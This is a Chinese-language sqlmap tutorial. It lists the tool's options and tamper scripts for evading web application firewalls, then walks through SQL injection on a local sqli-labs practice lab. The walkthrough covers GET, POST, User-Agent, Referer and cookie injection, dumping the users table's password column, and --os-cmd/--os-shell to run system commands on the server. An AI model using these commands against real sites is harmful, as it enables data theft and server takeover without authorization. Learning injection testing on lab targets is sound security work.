-u 指定目標URL (可以是http協議也可以是https協議)
-d 連接數據庫
--dbs 列出所有的數據庫
--current-db 列出當前數據庫
--tables 列出當前的表
--columns 列出當前的列
-D 選擇使用哪個數據庫
-T 選擇使用哪個表
-C 選擇使用哪個列
--dump 獲取字段中的數據
--batch 自動選擇yes
--smart 啟發式快速判斷,節約浪費時間
--forms 嘗試使用post注入
-r 加載文件中的HTTP請求(本地保存的請求包txt文件)
-l 加載文件中的HTTP請求(本地保存的請求包日志文件)
-g 自動獲取Google搜索的前一百個結果,對有GET參數的URL測試
-o 開啟所有默認性能優化
--tamper 調用腳本進行注入
-v 指定sqlmap的回顯等級
--delay 設置多久訪問一次
--os-shell 獲取主機shell,一般不太好用,因為沒權限
-m 批量操作
-c 指定配置文件,會按照該配置文件執行動作
-data data指定的數據會當做post數據提交
-timeout 設定超時時間
-level 設置注入探測等級
--risk 風險等級
--identify-waf 檢測防火牆類型
--param-del="分割符" 設置參數的分割符
--skip-urlencode 不進行url編碼
--keep-alive 設置持久連接,加快探測速度
--null-connection 檢索沒有body響應的內容,多用於盲注
--thread 最大為10 設置多線程
--delay
有些web服務器請求訪問太過頻繁可能會被防火牆攔截,使用--delay就可以設定兩次http請求的延時

--safe-url
有的web服務器會在多次錯誤的訪問請求后屏蔽所有請求,使用--safe-url 就可以每隔一段時間去訪問一個正常的頁面。
--tamper
語法:--tamper ["腳本名稱"]
當調用多個腳本的時候,腳本之間用逗號隔開,調用的腳本在 sqlmap文件夾下的 tamper 文件夾中

腳本信息
apostrophemask.py 用UTF-8全角字符替換單引號字符 apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符 appendnullbyte.py 在payload末尾添加空字符編碼 base64encode.py 對給定的payload全部字符使用Base64編碼 between.py 分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=” bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等於號“=” chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符) charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符) charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符) concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例 equaltolike.py 用“LIKE”運算符替換全部等於號“=” greatest.py 用“GREATEST”函數替換大於號“>” halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL注釋 ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例 lowercase.py 用小寫值替換每個關鍵字字符 modsecurityversioned.py 用注釋包圍完整的查詢 modsecurityzeroversioned.py 用當中帶有數字零的注釋包圍完整的查詢 multiplespaces.py 在SQL關鍵字周圍添加多個空格 nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用於過濾器 overlongutf8.py 轉換給定的payload當中的所有字符 percentage.py 在每個字符之前添加一個百分號 randomcase.py 隨機轉換每個關鍵字字符的大小寫 randomcomments.py 向SQL關鍵字中插入隨機注釋 securesphere.py 添加經過特殊構造的字符串 sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs space2comment.py 用“/**/”替換空格符 space2dash.py 用破折號注釋符“--”其次是一個隨機字符串和一個換行符替換空格符 space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符 space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符 space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符 space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mysqldash.py 用破折號注釋符“--”其次是一個換行符替換空格符 space2plus.py 用加號“+”替換空格符 space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT” unmagicquotes.py 用一個多字節組合%bf%27和末尾通用注釋一起替換空格符 寬字節注入 varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF versionedkeywords.py 用MySQL注釋包圍每個非函數關鍵字 versionedmorekeywords.py 用MySQL注釋包圍每個關鍵字 xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF
-v ["x"]
使用sqlmap注入測試時,可以使用 -v [x] 參數來指定回顯信息的復雜程度, x 的取值范圍為[0~6]:
--level
level有5個等級,默認等級為1,進行Cookie測試時使用--level 2 ,進行use-agent或refer測試時使用--level 3 ,進行 host 測試時使用--level 5
–-os-cmd=["命令"] 或 --os-shell=["命令"] 執行系統命令
利用sql-labs-less1測試 whoami 命令
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
選擇web服務器支持的語言

選擇web服務器的可寫目錄
[1] 使用默認的
[2] 自定義位置
[3] 自定義目錄列表文件
[4] 暴力搜索

我在本地測試,節省時間,我選擇2 ,自定義路徑,然后把路徑輸入在下面
執行命令后的返回結果
以下關卡均可用get型的方法,常規注入
step1:sqlmap -u ["URL"] //測試是否存在注入 step2:sqlmap -u ["URL"] -current-db //查詢當前數據庫 step3:sqlmap -u ["URL"] -D ["數據庫名"] --tables //查詢當前數據庫中的所有表 step4:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] --columns //查詢指定庫中指定表的所有列(字段) step5:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] -C ["列名"] --dump //打印出指定庫中指定表指定列中的字段內容
sql注入檢測
get型:
語法:sqlmap -u ["url"]
sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1
post型:
先使用bp把提交的數據包保存下來

或者直接
加上post提交的參數
語法:sqlmap -r ["請求包的txt文件"]
sqlmap -r "/root/.sqlmap/post.txt"
sql-labs -less1~sql-labs-less9
獲取當前數據庫名稱:
語法:sqlmap -u [“url”] --current-db
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db
獲取指定數據庫的表名:
語法:sqlmap -u [“url”] -D [‘數據庫名’] --tables
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables
獲取指定數據庫指定表中的字段:
語法:sqlmap -u [“url”] -D [‘數據庫名’] -T[‘表名’] --columns
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
獲取指定數據庫指定表的指定字段的字段內容:
語法:sqlmap -u [“url”] -D [‘數據庫名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump
sql-labs-less10
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db
提升等級 -level 2
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-db
sql-labs-less11~less17常規 POST 注入
step1:sqlmap -r ["請求頭文本"] //測試是否存在注入 step2:sqlmap -r ["請求頭文本"] --current-db //查詢當前數據庫 step3:sqlmap -r ["請求頭文本"] -D ["數據庫名"] --tables //查詢當前數據庫的所有表 step4:sqlmap -r ["請求頭文本"] -D ["數據庫名"] -T ["表名"] --columns //查詢指定庫指定表的所有列 step5:sqlmap -r ["請求頭文本"] -D ["數據庫名"] -T ["表名"] -C ["列名"] --dump //打印出指定庫指定表指定列的所有字段內容
sql-labs-less18
Header injection - Uagent
sqlmap 在對user-agent 注入的時候,得在文件中的user-agent的參數后面加上 *

或者不加 * 號,調用 --level參數,將等級調至 3級,只有等級為 3級即以上時才能對 user-agent進行注入
sqlmap -r "/root/.sqlmap/post.txt" -level 3
sql-labs-less19
Header injection - Referer
對Referer注入和User-agent相同,要么是在Referer后面加上 *

或者將 level 調至 3 級

sql-labs-less20
Header injection -Cookie
語法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2